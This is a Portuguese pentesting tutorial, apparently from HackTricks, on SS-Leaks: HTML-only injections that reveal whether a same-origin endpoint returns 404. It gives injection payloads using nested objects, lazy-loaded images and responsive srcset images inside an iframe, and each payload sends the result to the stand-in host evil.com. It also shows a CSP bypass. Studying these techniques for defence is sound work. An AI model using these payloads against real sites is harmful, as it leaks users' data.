hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

6 KiB

SS-Leaks

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Isto é uma mistura entre dangling markup e XS-Leaks. De um lado, a vulnerabilidade permite injetar HTML (mas não JS) em uma página da mesma origem daquela que estaremos atacando. Por outro lado, não vamos atacar diretamente a página onde podemos injetar HTML, mas outra página.

Objetos Aninhados

Se o endpoint /api/v1/leaky?secret=a retornar um código de status 404, então o object interno é carregado, dando um callback para https://evil.com?callback=a e nos informando que a consulta de pesquisa a não gerou resultados.

<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>

Carregamento Preguiçoso

E se o CSP bloquear objetos externos? Vamos tentar novamente com o seguinte CSP:

Content-Security-Policy: default-src 'self'; img-src *;

Nosso object de retorno de chamada acima já não funciona. Em seu lugar, podemos usar o carregamento preguiçoso de imagens lazy loading! A seguinte imagem só será carregada quando estiver visível e a uma certa distância da área de visualização.

<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>

Imagens Responsivas

A técnica acima é ótima, mas depende da nossa injeção de HTML estar dentro do campo de visão do usuário.

Se a injeção estiver fora da tela e o usuário não rolar a página, ainda podemos vazar dados? Claro, podemos usar IDs de elementos e scroll-to-text-fragment para criar uma URL que force a rolagem, mas esses dependem da interação do usuário e não nos permitem alcançar vazamentos consistentes em um cenário real. Idealmente, queremos instrumentalizar a injeção de HTML armazenada de maneira confiável.

Entrem as imagens responsivas! Especificamente, os atributos srcset e sizes das imagens.

{% code overflow="wrap" %}

<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
Há várias coisas para desempacotar aqui. Primeiro, lembre-se de que o iframe interno só será visível se o endpoint com vazamento retornar um código de status 404.

Isso é importante porque agora vamos carregar condicionalmente a imagem dentro do iframe a partir de duas URLs diferentes. Usando o atributo `sizes`, podemos usar [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries) para escolher de qual URL carregar a imagem, dependendo do tamanho da viewport.
{% code overflow="wrap" %}
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>

{% endcode %}

Porque nosso iframe tem width="1000px", o seguinte acontece:

  1. Se o endpoint com leak retorna um código de status 404, o iframe é exibido e tem uma largura de 1000px. A imagem dentro do iframe corresponde à media query (min-width: 1000px) e carrega a imagem de 800px de https://evil.com?callback=0.
  2. Se o endpoint com leak retorna um código de status 200, o iframe não é exibido. Como a imagem não está sendo renderizada como parte de um grande iframe, ela corresponde à media query (max-width 999px) e carrega a imagem de 480px de https://evil.com?callback=1.

Referências

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: